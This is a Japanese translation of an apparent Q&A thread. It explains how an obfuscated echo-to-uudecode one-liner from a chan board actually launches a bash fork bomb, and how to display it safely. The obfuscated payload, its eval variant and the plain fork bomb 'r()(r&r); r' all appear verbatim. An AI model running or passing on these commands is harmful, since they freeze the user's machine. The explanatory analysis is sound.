ランダムなチャンボードで見つけました:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
どういうわけかこれを実行すると、横行してマシンを停止するまで無限に生成するプロセスが発生します。 「su」が何度も実行されようとしていることがわかります。
奇妙なのは、テキストの出力ではなく、何も実行されないことを期待しているからです。
このテキストをオンラインデコーダーに通して実行すると、単なるバイナリの書き出しができます。
このテキストの混乱は実際に何をしているのでしょうか。それを「安全に」表示する方法はありますか。
まず、コマンド全体を見てみましょう。
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
それはuudecode
にエコーされる二重引用符で囲まれた文字列を含みます。ただし、二重引用符で囲まれた文字列の中には、逆引用符で囲まれた文字列があります。この文字列は実行されます。文字列は次のとおりです。
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
その内容を見ると、3つのコマンドがあります。
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
真ん中のコマンドにブレース展開を実行すると、次のようになります。
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
最初の行はバックグラウンドでナンセンスなコマンドを実行しようとしています。これは重要ではありません。
2行目は重要です。これは、実行時に自分自身のコピーを2つ起動する関数r
を定義します。これらの各コピーは、もちろん、さらに2つのコピーを起動します。等々。
3行目はr
を実行し、フォーク爆弾を起動します。
逆引用符で囲まれた文字列以外のコードの残りの部分は、難読化のためには意味がありません。
関数の入れ子レベルに制限を設定すれば、このコードを安全に実行できます。これはbashのFUNCNEST
変数で行うことができます。ここでは、これを2
に設定して再帰を停止します。
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
上記のエラーメッセージは、(a)ナンセンスコマンドrYWdl
とY29j
が見つからないこと、(b)フォークボムがFUNCNESTによって繰り返し停止されること、および(c)echo
の出力がbegin
で始まっていないことを示します。 uudecode
に対する有効な入力。
掩蔽物を取り除いた場合、フォーク爆弾はどのように見えるでしょうか。 njzk2とgerritが示唆するように、それは次のようになります。
echo "`r()(r&r);r`"
さらに単純化することができます。
r()(r&r); r
これは2つのステートメントで構成されています。1つはfork-bomb-function r
を定義し、2つ目はr
を実行します。
uudecode
へのパイプを含む他のすべてのコードは、あいまいさと誤った指示のためだけにありました。
OPはこのコードが登場したチャンネルボードディスカッションへのリンク を提供しました 。そこで示されているように、コードは次のようになりました。
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
このコードに関する最初のコメントの1つに注目してください。
私はそれに転んだ。エコーしてデコードした部分だけをコピーしたが、それでもフォーク爆弾になった
チャンネルボード上のフォームでは、問題はeval
の出力を操作するuudecode
ステートメントであると単純に考えられます。これはeval
を削除することで問題が解決すると考える人を導きます。私たちが上で見たように、これは偽であり危険です。
質問の後半に答えるには:
...「安全に」表示する方法はありますか?
この文字列を使用しないようにするには、外側の二重引用符を一重引用符で置き換え、文字列内にある一重引用符をエスケープします。このように、シェルはコードを一切実行しません。実際には、すべてをuudecode
に直接渡します。
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
他の選択肢がコメントに記載されています。
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krallさんは テキストエディタを使って内容を貼り付け、そのファイルをuudecodeに渡すように勧めました。
一見すると、シェルへの出力は決して実行されないと思うかもしれません。これはまだ正しいです。問題はすでに入力にあります。ここでの主なトリックは、プログラマが 演算子の優先順位 を呼び出すことです。これは、シェルが入力を処理しようとしている順序です。
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
エラーは、echo
が最初に実行されるコマンド、uudecode
が2番目のコマンドになると考えることです。それらの両方が到達することは決してありません。
結論:シェルでは二重引用符は常に危険です。